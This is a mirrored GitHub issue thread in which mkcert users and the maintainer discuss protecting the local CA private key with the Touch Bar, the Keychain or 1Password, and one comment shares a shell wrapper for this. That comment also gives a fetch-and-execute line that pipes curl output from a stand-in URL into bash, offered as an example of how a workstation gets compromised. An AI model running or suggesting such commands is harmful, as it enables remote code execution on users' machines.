[GH-ISSUE #39] Touch Bar and Keychain support #20

Open
opened 2026-02-25 22:32:23 +03:00 by kerem · 7 comments
Owner

Originally created by @lgarron on GitHub (Jul 6, 2018).
Original GitHub issue: https://github.com/FiloSottile/mkcert/issues/39

Since name-constrained certs don't work everywhere, leaving the signing key lying around still exposes you to risk of having all of your secure traffic intercepted.

My first thought was that it would be nice to be able to keep the key on a Yubikey, but putting it in the macOS keychain under password/Touch ID protection (or something similar like GNOME keyring) would also be a reasonable intermediate option.

Do you think that would fit in the scope of this project, or should it perhaps be something separate?
(Is there already a PKCS#11 abstraction in Golang that would support this functionality?)

Originally created by @lgarron on GitHub (Jul 6, 2018). Original GitHub issue: https://github.com/FiloSottile/mkcert/issues/39 Since name-constrained certs don't work everywhere, leaving the signing key lying around still exposes you to risk of having all of your secure traffic intercepted. My first thought was that it would be nice to be able to keep the key on a Yubikey, but putting it in the macOS keychain under password/Touch ID protection (or something similar like GNOME keyring) would also be a reasonable intermediate option. Do you think that would fit in the scope of this project, or should it perhaps be something separate? (Is there already a PKCS#11 abstraction in Golang that would support this functionality?)
Author
Owner

@FiloSottile commented on GitHub (Jul 6, 2018):

The underlying implementation should definitely be a separate package. There is a commonly used PKCS#11 package but it's a pain to use. Somewhere on my TODO list there is a easy to use Touch Bar backed crypto.Signer, but no concrete plans.

The implementation in mkcert would have to be completely automated, but even then I'm not convinced it's worth it: what's an attacker that can read arbitrary 600 files from disk, but not inspect memory?

<!-- gh-comment-id:403168904 --> @FiloSottile commented on GitHub (Jul 6, 2018): The underlying implementation should definitely be a separate package. There is a commonly used PKCS#11 package but it's a pain to use. Somewhere on my TODO list there is a easy to use Touch Bar backed crypto.Signer, but no concrete plans. The implementation in mkcert would have to be completely automated, but even then I'm not convinced it's worth it: what's an attacker that can read arbitrary 600 files from disk, but not inspect memory?
Author
Owner

@keturn commented on GitHub (Jul 24, 2018):

Ah, I had the same concern. I love how streamlined this tool makes things, handling both the creation and the installation, but leaving a CA private key around that allows creating a trusted certificate for any domain is more liability than I wanted to sign up for in order to make a key that works for localhost (and maybe staging.mydomain).

I want to be very reserved about adding any extra complexity to this tool, since its strength is in its simple interface, but since we have Keychain already the standard mechanism for protecting secrets, I think that lgarron's suggestion makes a lot of sense.

<!-- gh-comment-id:407502385 --> @keturn commented on GitHub (Jul 24, 2018): Ah, I had the same concern. I love how streamlined this tool makes things, handling both the creation and the installation, but leaving a CA private key around that allows creating a trusted certificate for **any** domain is more liability than I wanted to sign up for in order to make a key that works for `localhost` (and maybe `staging.mydomain`). I want to be very reserved about adding any extra complexity to this tool, since its strength is in its simple interface, but since we have Keychain *already* the standard mechanism for protecting secrets, I think that lgarron's suggestion makes a lot of sense.
Author
Owner

@keturn commented on GitHub (Jul 24, 2018):

what's an attacker that can read arbitrary 600 files from disk, but not inspect memory?

I think, at least since OS X 10.11 (El Capitan), this is a common configuration, thanks to System Integrity Protection. For example, I can't use dtrace on a python process, even though I'm the user that owns the process. And that's a brew-installed python, not the system one.

<!-- gh-comment-id:407506147 --> @keturn commented on GitHub (Jul 24, 2018): > what's an attacker that can read arbitrary 600 files from disk, but not inspect memory? I think, at least since OS X 10.11 (El Capitan), this is a common configuration, thanks to System Integrity Protection. For example, I can't use `dtrace` on a `python` process, even though I'm the user that owns the process. And that's a brew-installed `python`, not the system one.
Author
Owner

@FiloSottile commented on GitHub (Jul 25, 2018):

Ok, thought about it a bit more, and although I don't have time to implement it myself at the moment, I would welcome a seamless integration where the key is stored in the Touch Bar and used via Touch ID. Stretch goal, showing the hostname on the Touch Bar (but this might be extremely hard to do securely, and I'd rather not do it if not securely). And I guess a Keychain fallback (SIP is a good point).

No flag or option, and automatic migration of existing keys.

Possibly these building blocks would be in a separate package exposing simply New and crypto.Signer.

<!-- gh-comment-id:407829050 --> @FiloSottile commented on GitHub (Jul 25, 2018): Ok, thought about it a bit more, and although I don't have time to implement it myself at the moment, I would welcome a *seamless* integration where the key is stored in the Touch Bar and used via Touch ID. Stretch goal, showing the hostname on the Touch Bar (but this might be extremely hard to do securely, and I'd rather not do it if not securely). And I guess a Keychain fallback (SIP is a good point). No flag or option, and automatic migration of existing keys. Possibly these building blocks would be in a separate package exposing simply `New` and `crypto.Signer`.
Author
Owner

@FiloSottile commented on GitHub (Jul 25, 2018):

(I still maintain that an attacker can modify the mkcert binary and do approximately what they want, modulo a very serious Touch Bar applet implementation, and that a compromised endpoint is a compromised endpoint, but I'll concede that a file disclosure vulnerability is somewhat more likely than full compromise on unsandboxed desktop systems.)

<!-- gh-comment-id:407830762 --> @FiloSottile commented on GitHub (Jul 25, 2018): (I still maintain that an attacker can modify the mkcert binary and do approximately what they want, modulo a very serious Touch Bar applet implementation, and that a compromised endpoint is a compromised endpoint, but I'll concede that a file disclosure vulnerability is somewhat more likely than full compromise on unsandboxed desktop systems.)
Author
Owner

@mishawakerman commented on GitHub (Jun 18, 2020):

// Disclaimer: this is not my area of expertise :)

I was considering writing a wrapper for mkcert that encrypts and decrypts the rootCA-key.pem and rootCA.pem files between usages using a standalone password.

<!-- gh-comment-id:646353559 --> @mishawakerman commented on GitHub (Jun 18, 2020): // Disclaimer: this is not my area of expertise :) I was considering writing a wrapper for `mkcert` that encrypts and decrypts the `rootCA-key.pem` and `rootCA.pem` files between usages using a standalone password.
Author
Owner

@PiotrCzapla commented on GitHub (Sep 20, 2024):

There is plenty of ways to get a file of a developers workstation. Think a rough package, extension or simply tricking someone to run /bin/bash -c "$(curl -fsSL https://your_next_best_brew)" without inspection.
All of this can easily copy a know file, but won't be able to inspect memory on Mac OS at least.

For me a temporary workaround was to put a wrapper around mkcert that reads the certificate from 1password put it on the disk and deletes after use.

function mkcert() {
    MKCERT_CMD=$(which -p mkcert 2>/dev/null || which mkcert)
    [ -x "$MKCERT_CMD" ] || { echo "Error: mkcert not found in PATH." >&2; return 1; }
    DEFAULT_CAROOT=$("$MKCERT_CMD" --CAROOT)
    TEMP_CAROOT=$(mktemp -d /tmp/mkcert_caroot.XXXXXX)
    # trap to clean up the temp dir at the exit
    trap "rm -rf \"$TEMP_CAROOT\"" EXIT
    cp "$DEFAULT_CAROOT/rootCA.pem" "$TEMP_CAROOT/" || { echo "Error: Failed to copy rootCA.pem." >&2; return 1; }
    op read -o "$TEMP_CAROOT/rootCA-key.pem" -f -n "op://Personal/mkcert/rootCA-key.pem" >/dev/null || { echo "Error: Failed to retrieve rootCA-key.pem from 1Password." >&2; return 1; }
    chmod 600 "$TEMP_CAROOT/rootCA-key.pem"

    CAROOT="$TEMP_CAROOT" "$MKCERT_CMD" "$@"
}

Should work both in bash and zsh.

Ensure that you store the rootCA-key.pem in your 1password under Personal/mkcert/rootCA-key.pem

<!-- gh-comment-id:2364622407 --> @PiotrCzapla commented on GitHub (Sep 20, 2024): There is plenty of ways to get a file of a developers workstation. Think a rough package, extension or simply tricking someone to run /bin/bash -c "$(curl -fsSL https://your_next_best_brew)" without inspection. All of this can easily copy a know file, but won't be able to inspect memory on Mac OS at least. For me a temporary workaround was to put a wrapper around mkcert that reads the certificate from 1password put it on the disk and deletes after use. ```sh function mkcert() { MKCERT_CMD=$(which -p mkcert 2>/dev/null || which mkcert) [ -x "$MKCERT_CMD" ] || { echo "Error: mkcert not found in PATH." >&2; return 1; } DEFAULT_CAROOT=$("$MKCERT_CMD" --CAROOT) TEMP_CAROOT=$(mktemp -d /tmp/mkcert_caroot.XXXXXX) # trap to clean up the temp dir at the exit trap "rm -rf \"$TEMP_CAROOT\"" EXIT cp "$DEFAULT_CAROOT/rootCA.pem" "$TEMP_CAROOT/" || { echo "Error: Failed to copy rootCA.pem." >&2; return 1; } op read -o "$TEMP_CAROOT/rootCA-key.pem" -f -n "op://Personal/mkcert/rootCA-key.pem" >/dev/null || { echo "Error: Failed to retrieve rootCA-key.pem from 1Password." >&2; return 1; } chmod 600 "$TEMP_CAROOT/rootCA-key.pem" CAROOT="$TEMP_CAROOT" "$MKCERT_CMD" "$@" } ``` Should work both in bash and zsh. Ensure that you store the rootCA-key.pem in your 1password under Personal/mkcert/rootCA-key.pem
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
starred/mkcert#20
No description provided.